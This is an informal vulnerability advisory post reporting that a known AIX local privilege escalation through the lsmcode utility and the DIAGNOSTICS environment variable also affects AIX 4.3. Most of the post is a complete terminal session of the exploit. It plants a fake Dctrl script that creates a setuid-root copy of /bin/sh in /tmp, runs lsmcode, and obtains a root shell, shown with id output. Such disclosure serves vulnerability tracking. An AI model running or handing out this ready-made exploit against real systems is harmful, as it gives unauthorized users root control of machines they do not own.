By : AO a.k.a ...??

It has been a while i'm not posting any fuckin' advisories coz some reason
This vulnerability has been reported on http://www.securityfocus.com/bid/18114/
,http://www.securityfocus.com/bid/12041/ about vulnerability in AIX 5.1 - 5.3,
An exploit is published in milw0rm to exploit this issue 
http://milw0rm.com/exploits/701

I have an AIX 4.3 box and it seems vulnerable with this issue too

bash-2.04$ mkdirhier /tmp/aap/bin
bash-2.04$ export DIAGNOSTICS=/tmp/aap
bash-2.04$ cat > /tmp/aap/bin/Dctrl << EOF
> #!/bin/sh
> cp /bin/sh /tmp/.shh
> chown root:system /tmp/.shh
> chmod u+s /tmp/.shh
> EOF
bash-2.04$ cat /tmp/aap/bin/Dctrl
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
bash-2.04$ chmod a+x /tmp/aap/bin/Dctrl
bash-2.04$ lsmcode
bash-2.04$ /tmp/.shh
# id
uid=221(xxx) gid=53(xxx) euid=0(root) groups=0(system),58(xxx)  --> gotcha euid=0

Yeah, even uid=221 but euid=0
Nothing new in this post, i just want to report that AIX 4.3 is vulnerable with this issue too. the last, it seems that milw0rm and securityfocus update their info as well.
